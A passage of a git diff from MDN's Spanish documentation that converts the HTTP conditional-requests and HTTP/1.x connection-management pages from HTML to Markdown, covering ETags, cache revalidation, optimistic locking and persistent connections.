Desafortunadamente, las cosas se vuelven un poco inexactas cuando tenemos en cuenta la concurrencia. Mientras un cliente modifica localmente su nueva copia del recurso, un segundo cliente puede obtener el mismo recurso y hacer lo mismo con su copia. Lo que sucede a continuación es muy desafortunado: cuando se devuelven al servidor, las modificaciones del primer cliente son descartadas por la inserción del siguiente cliente, ya que este segundo cliente desconoce los cambios del primer cliente en el recurso. La decisión sobre quién gana, no se comunica a la otra parte. De qué cliente se deberán mantener los cambios, variará con la velocidad a la que se realicen, esto depende del rendimiento de los clientes, del servidor e incluso de la edición humana del documento en el cliente. El ganador cambiará de una vez a la siguiente. Esta es una condición de carrera y conduce a comportamientos problemáticos, que son difíciles de detectar y depurar:

- -

When several clients update the same resource in parallel, we are facing a race condition: the slowest win, and the others don't even know they lost. Problematic!

- -

No hay manera de lidiar con este problema sin molestar a uno de los dos clientes. Sin embargo, se deben evitar las actualizaciones perdidas y las condiciones de la carrera. Queremos resultados predecibles y esperamos que se notifique a los clientes cuando se rechacen sus cambios.

- -

Las peticiones condicionales permiten implementar el algoritmo de bloqueo optimista (utilizado por la mayoría de las wikis o sistemas de control de fuente). El concepto es permitir que todos los clientes obtengan copias del recurso, luego permitirles modificarlo localmente, controlando la concurrencia al permitir que el primer cliente envíe una actualización. Todas las actualizaciones posteriores, basadas en la versión ahora obsoleta del recurso, se rechazan:

- -

Conditional requests allow to implement optimistic locking: now the quickest wins, and the others get an error.

- -

Esto se implementa utilizando el encabezado {{HTTPHeader("If-Match")}} o {{HTTPHeader("If-Unmodified-Since")}}. Si la etag no coincide con el archivo original, o si el archivo ha sido modificado desde que se obtuvo, el cambio simplemente se rechaza con un error {{HTTPStatus("412")}} Precondition Failed. Depende entonces del cliente lidiar con el error: ya sea notificando al usuario que vuelva a comenzar (esta vez en la versión más reciente) o mostrándole al usuario una diferencia entre ambas versiones, Ayudándoles a decidir qué cambios desean mantener.

- -

Tratar con la primera subida de un recurso.

- -

La primera subida de un recurso es un caso similar al anterior. Como cualquier actualización de un recurso, está sujeta a una condición de carrera si dos clientes intentan realizarla en tiempos similares. Para evitar esto, se pueden utilizar peticiones condicionales: añadiendo el encabezado {{HTTPHeader("If-None-Match")}} con el valor especial '*', representando cualquier etag. La petición sólo tendrá éxito si el recurso no existía antes:

- -

Like for a regular upload, the first upload of a resource is subject to a race condition: If-None-Match can prevent it.

- -

If-None-Match solo funcionará con servidores compatibles con HTTP/1.1 (y posteriores). Si no está seguro de que el servidor sea compatible, primero debe emitir una petición {{HTTPMethod("HEAD")}} al recurso para comprobarlo.

- -

Conclusión

- -

Las peticiones condicionales son una característica clave de HTTP y permiten la creación de aplicaciones eficientes y complejas. Para almacenar en caché o reanudar las descargas, el único trabajo requerido para los webmasters es configurar el servidor correctamente, establecer etags correctas en algunos entornos puede ser complicado. Una vez logrado, el navegador atenderá las peticiones condicionales esperadas.

- -

Para los mecanismos de bloqueo, ocurre lo contrario: los desarrolladores web deben emitir una petición con los encabezados adecuados, mientras que los webmasters pueden confiar en la aplicación para realizar las comprobaciones correspondientes.

- -

En ambos casos está claro, las peticiones condicionales son una característica fundamental de la Web.

diff --git a/files/es/web/http/conditional_requests/index.md b/files/es/web/http/conditional_requests/index.md new file mode 100644 index 00000000000000..d29c0d8a5bae8f --- /dev/null +++ b/files/es/web/http/conditional_requests/index.md @@ -0,0 +1,141 @@ +--- +title: Peticiones condicionales en HTTP +slug: Web/HTTP/Conditional_requests +tags: + - Guía + - HTTP + - Peticiones condicionales +translation_of: Web/HTTP/Conditional_requests +original_slug: Web/HTTP/Peticiones_condicionales +--- +{{HTTPSidebar}} + +HTTP tiene un concepto de peticiones condicionales, donde el resultado, e incluso el éxito de una petición, se puede cambiar comparando los recursos afectados con el valor de un validador. Dichas peticiones pueden ser útiles para validar el contenido de un caché, y evitar un control inútil, para verificar la integridad de un documento, como al reanudar una descarga, o al evitar perder actualizaciones al cargar o modificar un documento en el servidor. + +## Principios + +Las peticiones condicionales HTTP son peticiones que se ejecutan de manera diferente, dependiendo del valor de encabezados específicos. Estos encabezados definen una condición previa, y el resultado de la petición será diferente si la condición previa coincide o no. + +Los diferentes comportamientos están definidos por el método de petición utilizado y por el conjunto de encabezados utilizados para una condición previa: + +- para métodos seguros, como {{HTTPMethod("GET")}}, que generalmente intenta recuperar un documento, la petición condicional se puede usar para devolver el documento, solo si es relevante. Por lo tanto, esto ahorra ancho de banda. +- para métodos no seguros, como {{HTTPMethod("PUT")}}, que generalmente carga un documento, la petición condicional se puede usar para cargar el documento, solo si el original en el que se basa es el mismo que el almacenado en el servidor. + +## Validadores + +Todos los encabezados condicionales intentan verificar si el recurso almacenado en el servidor coincide con una versión específica. Para lograr esto, las peticiones condicionales deben indicar la versión del recurso. Como la comparación de todo el recurso byte a byte es impracticable, y no siempre lo que se desea, la petición transmite un valor que describe la versión. Tales valores se llaman validadores y son de dos tipos: + +- la fecha de la última modificación del documento, la fecha _last-modified_. +- una cadena opaca, que identifica de forma única cada versión, llamada _etiqueta de entidad_, o _etag_. + +Comparar versiones del mismo recurso es un poco complicado: según el contexto, hay dos tipos de controles de igualdad: + +- _Validación fuerte_, se utiliza cuando se espera una igualdad byte a byte, por ejemplo, al reanudar una descarga. +- _Validación débil_, se utiliza cuando el agente de usuario solo necesita determinar si los dos recursos tienen el mismo contenido. Incluso si son pequeñas diferencias, como diferentes anuncios, o un pie de página con una fecha diferente. + +El tipo de validación es independiente del validador utilizado. Ambos {{HTTPHeader("Last-Modified")}} y {{HTTPHeader("ETag")}} permiten ambos tipos de validación, aunque la complejidad para implementarlo en el lado del servidor puede variar. HTTP utiliza la validación fuerte de forma predeterminada, y especifica cuándo se puede usar una validación débil. + +### Validación fuerte + +La validación sólida consiste en garantizar que el recurso es, byte a byte, idéntico al que se compara. Esto es obligatorio para algunos encabezados condicionales, y el predeterminado para los demás. La validación sólida es muy estricta y puede ser difícil garantizarla a nivel del servidor, pero garantiza que no se pierdan datos en ningún momento, a veces a expensas del rendimiento. + +Es bastante difícil tener un identificador único para una validación fuerte con {{HTTPHeader("Last-Modified")}}. A menudo, esto se hace usando una {{HTTPHeader("ETag")}} con el hash MD5 del recurso (o un derivado). + +### Validación débil + +La validación débil difiere de la validación fuerte, ya que considera dos versiones del documento como idénticas si el contenido es equivalente. Por ejemplo, una página que diferiría de otra solo por una fecha diferente en su pie de página, o una publicidad diferente, se consideraría idéntica a la otra con validación débil. Estas dos versiones iguales se consideran diferentes cuando se usa una validación fuerte. Construir un sistema de etags que cree una validación débil puede ser complejo, ya que implica conocer la importancia de los diferentes elementos de una página, pero es muy útil para optimizar el rendimiento del caché. + +## Encabezados condicionales + +Varios encabezados HTTP, llamados encabezados condicionales, conducen a peticiones condicionales. Estos son: + +- {{HTTPHeader("If-Match")}} + - : Tiene éxito si la {{HTTPHeader("ETag")}} del recurso remoto es igual a una que se encuentra en este encabezado. Por defecto, a menos que el etag tenga el prefijo `'W/'`, realiza una validación fuerte. +- {{HTTPHeader("If-None-Match")}} + - : Tiene éxito si la {{HTTPHeader("ETag")}} del recurso remoto es diferente a cada una de las enumeradas en este encabezado. Por defecto, a menos que el etag tenga el prefijo `'W/'`, realiza una validación fuerte. +- {{HTTPHeader("If-Modified-Since")}} + - : Tiene éxito si la fecha {{HTTPHeader("Last-Modified")}} del recurso remoto es más reciente que la dada en este encabezado. +- {{HTTPHeader("If-Unmodified-Since")}} + - : Tiene éxito si la fecha {{HTTPHeader("Last-Modified")}} del recurso remoto es más antigua que la dada en este encabezado. +- {{HTTPHeader("If-Range")}} + - : Similar a {{HTTPHeader("If-Match")}}, o {{HTTPHeader("If-Unmodified-Since")}}, pero sólo puede tener una etag, o una fecha. Si falla, la petición de rango falla, y en lugar de una respuesta {{HTTPStatus("206")}} `Partial Content` , se envía un {{HTTPStatus("200")}} `OK` con el recurso completo. + +## Casos de uso + +### Actualización de caché + +El caso de uso más común para las peticiones condicionales es la actualización de un caché. Con un caché vacío, o sin un caché, el recurso solicitado se devuelve con un estado {{HTTPStatus("200")}} `OK`. + +![The request issued when the cache is empty triggers the resource to be downloaded, with both validator value sent as headers. The cache is then filled.](https://mdn.mozillademos.org/files/13729/Cache1.png) + +Junto con el recurso, los validadores se envían en los encabezados. En este ejemplo, ambos {{HTTPHeader("Last-Modified")}} y {{HTTPHeader("ETag")}} son enviados, pero igualmente podría haber sido solo uno de ellos. Estos validadores se almacenan en caché con el recurso (como todos los encabezados) y se utilizarán para elaborar peticiones condicionales, una vez que el caché se vuelva obsoleto. + +Mientras la memoria caché no esté obsoleta, no se emitirá ninguna petición. Pero una vez se haya vuelto obsoleta, esto se controla principalmente por el encabezado {{HTTPHeader("Cache-Control")}}, el cliente no usa el valor en caché directamente, pero emite una _petición condicional_. El valor del validador se utiliza como parámetro de los encabezados {{HTTPHeader("If-Modified-Since")}} y {{HTTPHeader("If-Match")}}. + +Si el recurso no ha cambiado, el servidor envía una respuesta {{HTTPStatus("304")}} `Not Modified`. Esto hace que la caché se actualice nuevamente, y el cliente usa el recurso almacenado en caché. Aunque hay una respuesta/petición de ida y vuelta que consume algunos recursos, esto es más eficiente que transmitir de nuevo todo el recurso a través del cable. + +![With a stale cache, the conditional request is sent. The server can determine if the resource changed, and, as in this case, decide not to send it again as it is the same.](https://mdn.mozillademos.org/files/13731/HTTPCache2.png) + +Si el recurso ha cambiado, el servidor simplemente envía una respuesta {{HTTPStatus("200")}}` OK`, con la nueva versión del recurso, como si la petición no fuera condicional y el cliente usara este nuevo recurso (y lo almacena en caché). + +![In the case where the resource was changed, it is sent back as if the request wasn't conditional.](https://mdn.mozillademos.org/files/13733/HTTPCache3.png) + +Además de la configuración de los validadores en el lado del servidor, este mecanismo es transparente: todos los navegadores administran una memoria caché y envían dichas peticiones condicionales sin que los desarrolladores web realicen ningún trabajo especial. + +### Integridad de una descarga parcial + +La descarga parcial de archivos es una funcionalidad de HTTP que permite reanudar operaciones previas, ahorrando tiempo y ancho de banda, manteniendo la información ya obtenida: + +![A download has been stopped and only partial content has been retrieved.](https://mdn.mozillademos.org/files/16190/HTTPResume1.png) + +Un servidor que admite descargas parciales transmite esto enviando el encabezado {{HTTPHeader("Accept-Ranges")}}. Una vez que esto sucede, el cliente puede reanudar una descarga enviando un encabezado {{HTTPHeader("Ranges")}} con los rangos ausentes: + +![The client resumes the requests by indicating the range he needs and preconditions checking the validators of the partially obtained request.](https://mdn.mozillademos.org/files/13737/HTTPResume2.png) + +El principio es simple, pero hay un problema potencial: si el recurso descargado se modificó entre ambas descargas, los rangos obtenidos corresponderán a dos versiones diferentes del recurso y el documento final estará corrupto. + +Para evitar esto, se utilizan peticiones condicionales. Para los rangos, hay dos formas de hacer esto. El más flexible hace uso de {{HTTPHeader("If-Modified-Since")}} y {{HTTPHeader("If-Match")}} y el servidor devuelve un error si la precondición falla, entonces el cliente reinicia la descarga desde el principio: + +![When the partially downloaded resource has been modified, the preconditions will fail and the resource will have to be downloaded again completely.](https://mdn.mozillademos.org/files/13739/HTTPResume3.png) + +Incluso si este método funciona, agrega un intercambio adicional de respuesta / petición cuando el documento ha sido cambiado. Esto altera el rendimiento, y HTTP tiene un encabezado específico para evitar este escenario: {{HTTPHeader("If-Range")}}: + +![The If-Range headers allows the server to directly send back the complete resource if it has been modified, no need to send a 412 error and wait for the client to re-initiate the download.](https://mdn.mozillademos.org/files/13741/HTTPResume4.png) + +Esta solución es más eficiente, pero ligeramente menos flexible, ya que solo se puede usar una etag en la condición. Rara vez se necesita flexibilidad adicional. + +### Evitar el problema de actualización perdida con bloqueo optimista + +Una operación común en aplicaciones web es _actualizar_ un documento remoto. Esto es muy común en cualquier sistema de archivos o aplicaciones de control de origen, pero cualquier aplicación que permita almacenar recursos remotos necesita tal mecanismo. Los sitios web comunes, como los wikis y otros CMS, tienen tal necesidad. + +Con el método {{HTTPMethod("PUT")}} eres capaz de implementarlo. El cliente primero lee los archivos originales, los modifica y finalmente los envía al servidor: + +![Updating a file with a PUT is very simple when concurrency is not involved.](https://mdn.mozillademos.org/files/13743/HTTPLock1.png) + +Desafortunadamente, las cosas se vuelven un poco inexactas cuando tenemos en cuenta la concurrencia. Mientras un cliente modifica localmente su nueva copia del recurso, un segundo cliente puede obtener el mismo recurso y hacer lo mismo con su copia. Lo que sucede a continuación es muy desafortunado: cuando se devuelven al servidor, las modificaciones del primer cliente son descartadas por la inserción del siguiente cliente, ya que este segundo cliente desconoce los cambios del primer cliente en el recurso. La decisión sobre quién gana, no se comunica a la otra parte. De qué cliente se deberán mantener los cambios, variará con la velocidad a la que se realicen, esto depende del rendimiento de los clientes, del servidor e incluso de la edición humana del documento en el cliente. El ganador cambiará de una vez a la siguiente. Esta es una condición de carrera y conduce a comportamientos problemáticos, que son difíciles de detectar y depurar: + +![When several clients update the same resource in parallel, we are facing a race condition: the slowest win, and the others don't even know they lost. Problematic!](https://mdn.mozillademos.org/files/13749/HTTPLock2.png) + +No hay manera de lidiar con este problema sin molestar a uno de los dos clientes. Sin embargo, se deben evitar las actualizaciones perdidas y las condiciones de la carrera. Queremos resultados predecibles y esperamos que se notifique a los clientes cuando se rechacen sus cambios. + +Las peticiones condicionales permiten implementar el _algoritmo de bloqueo optimista_ (utilizado por la mayoría de las wikis o sistemas de control de fuente). El concepto es permitir que todos los clientes obtengan copias del recurso, luego permitirles modificarlo localmente, controlando la concurrencia al permitir que el primer cliente envíe una actualización. Todas las actualizaciones posteriores, basadas en la versión ahora obsoleta del recurso, se rechazan: + +![Conditional requests allow to implement optimistic locking: now the quickest wins, and the others get an error.](https://mdn.mozillademos.org/files/13751/HTTPLock3.png) + +Esto se implementa utilizando el encabezado {{HTTPHeader("If-Match")}} o {{HTTPHeader("If-Unmodified-Since")}}. Si la etag no coincide con el archivo original, o si el archivo ha sido modificado desde que se obtuvo, el cambio simplemente se rechaza con un error {{HTTPStatus("412")}} `Precondition Failed`. Depende entonces del cliente lidiar con el error: ya sea notificando al usuario que vuelva a comenzar (esta vez en la versión más reciente) o mostrándole al usuario una _diferencia_ entre ambas versiones, Ayudándoles a decidir qué cambios desean mantener. + +### Tratar con la primera subida de un recurso. + +La primera subida de un recurso es un caso similar al anterior. Como cualquier actualización de un recurso, está sujeta a una condición de carrera si dos clientes intentan realizarla en tiempos similares. Para evitar esto, se pueden utilizar peticiones condicionales: añadiendo el encabezado {{HTTPHeader("If-None-Match")}} con el valor especial `'*'`, representando cualquier etag. La petición sólo tendrá éxito si el recurso no existía antes: + +![Like for a regular upload, the first upload of a resource is subject to a race condition: If-None-Match can prevent it.](https://mdn.mozillademos.org/files/13753/HTTPFirst.png) + +`If-None-Match` solo funcionará con servidores compatibles con HTTP/1.1 (y posteriores). Si no está seguro de que el servidor sea compatible, primero debe emitir una petición {{HTTPMethod("HEAD")}} al recurso para comprobarlo. + +## Conclusión + +Las peticiones condicionales son una característica clave de HTTP y permiten la creación de aplicaciones eficientes y complejas. Para almacenar en caché o reanudar las descargas, el único trabajo requerido para los webmasters es configurar el servidor correctamente, establecer etags correctas en algunos entornos puede ser complicado. Una vez logrado, el navegador atenderá las peticiones condicionales esperadas. + +Para los mecanismos de bloqueo, ocurre lo contrario: los desarrolladores web deben emitir una petición con los encabezados adecuados, mientras que los webmasters pueden confiar en la aplicación para realizar las comprobaciones correspondientes. + +En ambos casos está claro, las peticiones condicionales son una característica fundamental de la Web. diff --git a/files/es/web/http/connection_management_in_http_1.x/index.html b/files/es/web/http/connection_management_in_http_1.x/index.html deleted file mode 100644 index 2de4582424f3ba..00000000000000 --- a/files/es/web/http/connection_management_in_http_1.x/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: Gestión de la conexión en HTTP/1.x -slug: Web/HTTP/Connection_management_in_HTTP_1.x -translation_of: Web/HTTP/Connection_management_in_HTTP_1.x -original_slug: Web/HTTP/Gestion_de_la_conexion_en_HTTP_1.x ---- -
{{HTTPSidebar}}
- -

La gestión de las conexiones en un tema fundamental en HTTP: crear y mantener una conexión tiene una gran influencia en el rendimiento de las páginas Web y las aplicaciones Web. En la versión HTTP/1.x, hay modos de conexión: conexiones breves, conexiones persistentes, y 'pipelining'.

- -

HTTP la mayor parte de las veces se basa en TCP, como protocolo de transporte, dando conexión entre el cliente y el servidor. En sus comienzos, HTTP, únicamente tenia un modelo para gestionar dichas conexiones. Aquellas conexiones eran conexiones breves: se creaba una cada vez que una petición necesitaba ser transmitida, y se cerraba, una vez que la respuesta se había recibido.

- -

Este sencillo modelo tenía una limitación intrínseca en su rendimiento: abrir una conexión TCP es una operación costosa en recursos. Se necesitan intercambiar varios mensajes entre el cliente y el servidor para hacerlo. Y la latencia de la red y su ancho de banda, se veían afectados cuando se realizaba una petición. Las páginas web actuales, necesitan varias peticiones (una docena o más) para tener la información necesaria, de manera que este primer modelo es ineficiente para ellas.

- -

Dos nuevos modelos se presentaron en HTTP/1.1. La conexión persistente, mantiene las conexiones abiertas, entre peticiones sucesivas, eliminando así el tiempo necesario para abrir nuevas conexiones. El modelo 'pipelining' va un paso más allá, y envía varias peticiones sucesivas, sin esperar por la respuesta, reduciendo significativamente la latencia en la red.

- -

Compares the performance of the three HTTP/1.x connection models: short-lived connections, persistent connections, and HTTP pipelining.

- -
-

HTTP/2 añade nuevos modelos para la gestión de la conexión.

-
- -

Un punto significativo a tener en cuenta en la gestión de la conexión de HTTP, es que este se refiere a la conexión establecida entre dos nodos consecutivos de la red, esto se denomina hop-by-hop, en contraposición al concepto de end-to-end. El modelo de conexión entre un cliente y su primer proxy, puede ser distinto que la comunicación entre el proxy y el servidor de destino (u otro proxy intermedio). Las cabeceras de HTTP utilizadas para definir el modelo de conexión como {{HTTPHeader("Connection")}} y {{HTTPHeader("Keep-Alive")}}, se refieren a una conexión hop-by-hop, y estos parámetros, pueden variar en las comunicaciones de los nodos intermedios.

- -

Un tema también relativo a esto, es el concepto de conexiones con protocolos HTTP superiores, donde una conexión HTTP/1.1 se actualiza a un protocolo distinto, como puede ser TLS/1.0, WebSockets, o HTTP/2. Este mecanismo de actualización del protocolo se encuentra documentado en otra página.

- -

Conexiones breves

- -

El modelo original de HTTP, y el modelo de HTTP/1.0, está basado, en conexiones breves. Cada petición HTTP, se completa estableciendo (iniciando, estableciendo y cerrando) su propia conexión. Esto supone que la coordinación en el protocolo HTTP (handshake), sucede de forma previa a cada petición HTTP.

- -

La coordinación o inicialización de una comunicación en el protocolo TCP, requiere un tiempo dado, pero al adaptarse el protocolo TCP a su carga de transmisión de datos, este incrementa su eficiencia cuando se mantiene la conexión en el tiempo, utilizándose una conexión para transmitir numerosos peticiones de datos. Las conexiones breves, no utilizan esta característica del protocolo TCP, y el rendimiento de la conexión es peor que en el caso óptimo, al estar constantemente necesitando iniciar conexiones para transmitir cada mensaje (esto se conoce como conexiones 'en frio', o en inglés: 'cold connections').

- -

La conexión breve es la conexión usada por defecto en HTTP/1.0 (únicamente en el caso de no esté definida la cabecera {{HTTPHeader("Connection")}}, o su valor sea close entonces, no se utilizaria el modelo de conexiones breves). En HTTP/1.1, este modelo de conexión unicamente se utiliza al definir la cabecera {{HTTPHeader("Connection")}} como close .

- -
-

A menos que se de la situación en que se ha de trabajar con sistemas antiguos que no soportan conexiones persistentes, no hay otra razón para el uso de este modelo de conexiones.

-
- -

Conexiones persistentes

- -

Las conexiones breves, tienen dos importantes desventajas: el tiempo que necesitan para establecer una nueva conexión es significativo, y la eficacia del protocolo inferior a HTTP: el TCP unicamente mejora cuando la conexión ha estado funcionando durante algún tiempo (conexión caliente o 'warm connection' en inglés). Para atenuar dichos inconvenientes, se presentó el concepto de conexión persistente, ya incluso antes de presentar el protocolo HTTP/1.1. También se le conoce como 'keep-alive connection' que en inglés indica una conexión que se mantiene viva.

- -

Una conexión persistente es aquella la cual permanece abierta por un periodo, y puede ser reutilizada por varias peticiones de datos, ahorrando así la necesidad de efectuar nuevas sincronizaciones a nivel de TCP, de esta manera se puede usar más eficazmente el protocolo TCP. Esta conexión no estará abierta permanentemente, si la conexión no se usa, se cerrará después de un tiempo determinado (un servidor puede usar la cabecera {{HTTPHeader("Keep-Alive")}} para definir el tiempo mínimo que la conexión debería estar abierta.

- -

Las conexiones persistentes también tienen sus desventajas: incluso cuando no están transmitiendo datos, consumen recursos, y en casos en que la red esté soportando una carga de transferencia muy alta, un {{glossary("DoS attack", "ataque DoS ")}} puede realizarse. En estos casos, el uso de conexiones no persistentes, las cuales se cierran tan pronto como no necesitan transmitir, pueden resultar en un sistema más eficaz.

- -

HTTP/1.0 las conexiones HTTP/1.0 no son persistentes por defecto. Si se indica en la cabecera de un mensaje {{HTTPHeader("Connection")}} cualquier otro valor que no sea: close, como puede ser: retry-after, en tal caso, se harán conexiones persistentes.

- -

En HTTP/1.1 las conexiones son persistentes por defecto, así que esa cabecera no se necesita (aunque usualmente se añade como medida defensiva, en caso de que se tenga que utilizar el protocolo HTTP/1.0).

- -

HTTP pipelining

- -
-

HTTP pipelining no está activado por defecto en los navegacdores modernos:

- -
    -
  • Proxies con defectos de implementación son habituales y provocan comportamientos extraños y erráticos, que los desarrolladores de Webs, no pueden predecir, ni corregir fácilmente.
    • -
  • HTTP Pipelining es complicado de implementar correctamente: el tamaño del recurso pedido, el correcto RTT que será utilizado, así como el ancho de banda efectivo, tienen un impacto directo en la en la mejora de rendimiento de este método. Sin conocer estos valores, puede que mensajes importantes, se vean retrasados, por mensajes que no lo son. El concepto de "importante" incluso cambia según se carga la maquetación (layout) de la página. De ahí que este método solamente presente una mejora marginal en la mayoría de los casos.
    • -
  • HTTP Pipelining presenta un problema conocido como HOL
    • -
- -

Así, debido a estas razones este método ha sido relevado por un algoritmo mejor, la multiplexación, que es el que usa HTTP/2.

-
- -

Por defecto, las peticiones HTTP son realizadas de manera sequencial. La siguiente petición es realizada una vez que la respuesta a la petición actual ha sido recibida. Debido a que se ven afectadas por latencias en la red y limitaciones en el ancho de banda, ésto puede llevar a retardos significativos hasta que la siguiente petición es vista por el servidor.

- -

Pipelining es un proceso para enviar peticiones sucesivas, sobre la misma conexión persistente, sin esperar a la respuesta. Esto evita latencias en la conexión. En teoría, el rendimiento también podría mejorar si dos peticiones HTTP se empaquetaran en el mismo mensaje TCP. El MSS (Maximum Segment Size) típico, es suficientemente grande para contener varias peticiones simples, aunque la demanda de tamaño de las peticiones HTTP sigue creciendo.

- -

No todos los tipos de peticiones HTTP pueden ser utilizadas en pipeline: solo métodos {{glossary("idempotent")}} como {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}} and {{HTTPMethod("DELETE")}} pueden ser repetidos sin incidencias. Si ocurre un fallo, el contenido se puede simplemente reenviar.

- -

Hoy en día, todo proxy y servidor que cumpla con HTTP/1.1 debería dar soporte a pipelining, aunque en práctica tenga muchas limitaciones. Por esta razón, ningún explorador moderno lo activa por defecto.

- -

Domain sharding

- -
-

Unless you have a very specific immediate need, don't use this deprecated technique; switch to HTTP/2 instead. In HTTP/2, domain sharding is no more useful: the HTTP/2 connection is able to handle parallel unprioritized requests very well. Domain sharding is even detrimental to performance. Most HTTP/2 implementation use a technique called connection coalescing to revert eventual domain sharding.

-
- -

As an HTTP/1.x connection is serializing requests, even without any ordering, it can't be optimal without large enough available bandwidth. As a solution, browsers open several connections to each domain, sending parallel requests. Default was once 2 to 3 connections, but this has now increased to a more common use of 6 parallel connections. There is a risk of triggering DoS protection on the server side if attempting more than this number.

- -

If the server wishes a faster Web site or application response, it is possible for the server to force the opening of more connections. For example, Instead of having all resources on the same domain, say www.example.com, it could split over several domains, www1.example.com, www2.example.com, www3.example.com. Each of these domains resolve to the same server, and the Web browser will open 6 connections to each (in our example, boosting the connections to 18). This technique is called domain sharding.

- -

- -

Conclusión

- -

Las mejoras en la gestión de las conexiones, han significado un considerable aumento en el rendimiento del protocolo HTTP. Con HTTP/1.1 o HTTP/1.0, el uso de una conexión persistente - al menos hasta que que no necesite transmitir más datos- resulta en un significativo aumento en el rendimiento de la comunicación. Incluso, el fracaso de. método de pipelining, ha resultado en el diseño de modelos superiores para la gestión de la conexión, todo lo cual se ha incorporado en HTTP/2.

diff --git a/files/es/web/http/connection_management_in_http_1.x/index.md b/files/es/web/http/connection_management_in_http_1.x/index.md new file mode 100644 index 00000000000000..b9f5422cf6de3c --- /dev/null +++ b/files/es/web/http/connection_management_in_http_1.x/index.md @@ -0,0 +1,74 @@ +--- +title: Gestión de la conexión en HTTP/1.x +slug: Web/HTTP/Connection_management_in_HTTP_1.x +translation_of: Web/HTTP/Connection_management_in_HTTP_1.x +original_slug: Web/HTTP/Gestion_de_la_conexion_en_HTTP_1.x +--- +{{HTTPSidebar}} + +La gestión de las conexiones en un tema fundamental en HTTP: crear y mantener una conexión tiene una gran influencia en el rendimiento de las páginas Web y las aplicaciones Web. En la versión HTTP/1.x, hay modos de conexión: conexiones breves, conexiones persistentes, y '_pipelining_'. + +HTTP la mayor parte de las veces se basa en TCP, como protocolo de transporte, dando conexión entre el cliente y el servidor. En sus comienzos, HTTP, únicamente tenia un modelo para gestionar dichas conexiones. Aquellas conexiones eran conexiones breves: se creaba una cada vez que una petición necesitaba ser transmitida, y se cerraba, una vez que la respuesta se había recibido. + +Este sencillo modelo tenía una limitación intrínseca en su rendimiento: abrir una conexión TCP es una operación costosa en recursos. Se necesitan intercambiar varios mensajes entre el cliente y el servidor para hacerlo. Y la latencia de la red y su ancho de banda, se veían afectados cuando se realizaba una petición. Las páginas web actuales, necesitan varias peticiones (una docena o más) para tener la información necesaria, de manera que este primer modelo es ineficiente para ellas. + +Dos nuevos modelos se presentaron en HTTP/1.1. La conexión persistente, mantiene las conexiones abiertas, entre peticiones sucesivas, eliminando así el tiempo necesario para abrir nuevas conexiones. El modelo 'pipelining' va un paso más allá, y envía varias peticiones sucesivas, sin esperar por la respuesta, reduciendo significativamente la latencia en la red. + +![Compares the performance of the three HTTP/1.x connection models: short-lived connections, persistent connections, and HTTP pipelining.](https://mdn.mozillademos.org/files/13727/HTTP1_x_Connections.png) + +> **Nota:** HTTP/2 añade nuevos modelos para la gestión de la conexión. + +Un punto significativo a tener en cuenta en la gestión de la conexión de HTTP, es que este se refiere a la conexión establecida entre dos nodos consecutivos de la red, esto se denomina [hop-by-hop](/es/docs/Web/HTTP/Headers#hbh), en contraposición al concepto de [end-to-end](/es/docs/Web/HTTP/Headers#e2e). El modelo de conexión entre un cliente y su primer proxy, puede ser distinto que la comunicación entre el proxy y el servidor de destino (u otro proxy intermedio). Las cabeceras de HTTP utilizadas para definir el modelo de conexión como {{HTTPHeader("Connection")}} y {{HTTPHeader("Keep-Alive")}}, se refieren a una conexión [hop-by-hop](/es/docs/Web/HTTP/Headers#hbh), y estos parámetros, pueden variar en las comunicaciones de los nodos intermedios. + +Un tema también relativo a esto, es el concepto de conexiones con protocolos HTTP superiores, donde una conexión HTTP/1.1 se actualiza a un protocolo distinto, como puede ser TLS/1.0, WebSockets, o HTTP/2. Este [mecanismo de actualización del ](/es/docs/Web/HTTP/Protocol_upgrade_mechanism)[protocolo](/es/docs/Web/HTTP/Protocol_upgrade_mechanism) se encuentra documentado en otra página. + +## Conexiones breves + +El modelo original de HTTP, y el modelo de HTTP/1.0, está basado, en conexiones breves. Cada petición HTTP, se completa estableciendo (iniciando, estableciendo y cerrando) su propia conexión. Esto supone que la coordinación en el protocolo HTTP (handshake), sucede de forma previa a cada petición HTTP. + +La coordinación o inicialización de una comunicación en el protocolo TCP, requiere un tiempo dado, pero al adaptarse el protocolo TCP a su carga de transmisión de datos, este incrementa su eficiencia cuando se mantiene la conexión en el tiempo, utilizándose una conexión para transmitir numerosos peticiones de datos. Las conexiones breves, no utilizan esta característica del protocolo TCP, y el rendimiento de la conexión es peor que en el caso óptimo, al estar constantemente necesitando iniciar conexiones para transmitir cada mensaje (esto se conoce como conexiones 'en frio', o en inglés: 'cold connections'). + +La conexión breve es la conexión usada por defecto en HTTP/1.0 (únicamente en el caso de no esté definida la cabecera {{HTTPHeader("Connection")}}, o su valor sea `close` entonces, no se utilizaria el modelo de conexiones breves). En HTTP/1.1, este modelo de conexión unicamente se utiliza al definir la cabecera {{HTTPHeader("Connection")}} como `close` . + +> **Nota:** A menos que se de la situación en que se ha de trabajar con sistemas antiguos que no soportan conexiones persistentes, no hay otra razón para el uso de este modelo de conexiones. + +## Conexiones persistentes + +Las conexiones breves, tienen dos importantes desventajas: el tiempo que necesitan para establecer una nueva conexión es significativo, y la eficacia del protocolo inferior a HTTP: el TCP unicamente mejora cuando la conexión ha estado funcionando durante algún tiempo (conexión caliente o 'warm connection' en inglés). Para atenuar dichos inconvenientes, se presentó el concepto de conexión persistente, ya incluso antes de presentar el protocolo HTTP/1.1. También se le conoce como _'keep-alive connection_' que en inglés indica una conexión que se mantiene viva. + +Una conexión persistente es aquella la cual permanece abierta por un periodo, y puede ser reutilizada por varias peticiones de datos, ahorrando así la necesidad de efectuar nuevas sincronizaciones a nivel de TCP, de esta manera se puede usar más eficazmente el protocolo TCP. Esta conexión no estará abierta permanentemente, si la conexión no se usa, se cerrará después de un tiempo determinado (un servidor puede usar la cabecera {{HTTPHeader("Keep-Alive")}} para definir el tiempo mínimo que la conexión debería estar abierta. + +Las conexiones persistentes también tienen sus desventajas: incluso cuando no están transmitiendo datos, consumen recursos, y en casos en que la red esté soportando una carga de transferencia muy alta, un {{glossary("DoS attack", "ataque DoS ")}} puede realizarse. En estos casos, el uso de conexiones no persistentes, las cuales se cierran tan pronto como no necesitan transmitir, pueden resultar en un sistema más eficaz. + +HTTP/1.0 las conexiones HTTP/1.0 no son persistentes por defecto. Si se indica en la cabecera de un mensaje {{HTTPHeader("Connection")}} cualquier otro valor que no sea: `close`, como puede ser: `retry-after`, en tal caso, se harán conexiones 